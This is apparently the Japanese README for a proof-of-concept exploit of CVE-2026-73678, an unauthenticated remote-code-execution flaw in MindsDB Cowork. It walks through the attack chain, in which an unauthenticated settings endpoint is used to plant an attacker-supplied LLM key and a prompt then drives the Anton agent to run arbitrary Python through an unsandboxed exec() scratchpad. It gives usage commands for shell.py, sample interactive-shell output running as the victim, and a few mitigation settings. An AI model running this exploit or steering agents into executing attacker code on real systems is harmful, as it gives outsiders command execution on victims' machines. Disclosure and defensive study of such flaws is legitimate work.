
CVE-2026-73678のPoCエクスプロイト: 攻撃者提供のLLMキーとサンドボックス化されていないスクラッチパッドのexecを介してOSコマンドを実行できる、MindsDB Coworkの認証なしRCE。
CVE-2026-73678 の PoC(CVSS 3.1 10.0 Critical、AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)。
詳細な解説: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Cowork の cowork-server FastAPI サイドカーは /api/v1/ を認証なしで公開しており(CWE-306)、CORS は allow_origins=["*"](CWE-942)、さらに Anton エージェントの scratchpad ツールはサンドボックスなしの生の exec() で LLM が生成した Python を実行します(CWE-94)。
攻撃チェーン: PUT /api/v1/settings/* で攻撃者自身の LLM キーを仕込み → POST /api/v1/responses/ に、エージェントに scratchpad 上で攻撃者コードを実行させるプロンプトを送信 → アプリを実行しているユーザーの権限で任意の OS コマンドを実行。
MindsDB のアドバイザリ GHSA-jcxw-h8ph-pxpv の PoC を基に改変(クレジット: Ho Viet Khanh / HK4zCzi)。
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
生成されたスニペットは os.urandom(4).hex() を被害者プロセス内で計算し、/tmp/RCE_PROOF.txt に書き込みます。プロンプトは、実行しなければ nonce を知ることはできないとモデルに伝えます。返ってきたテキストに、ディスク上のファイルと一致する nonce が含まれていれば、コードが実際に実行されたことの証明になります — 幻覚を起こしたモデルには生成できません。
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
パッチ済みのリリースタグは存在しません。修正は cowork-server/anton の main ブランチにのみ含まれています。
認可されたセキュリティテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して実行しないでください。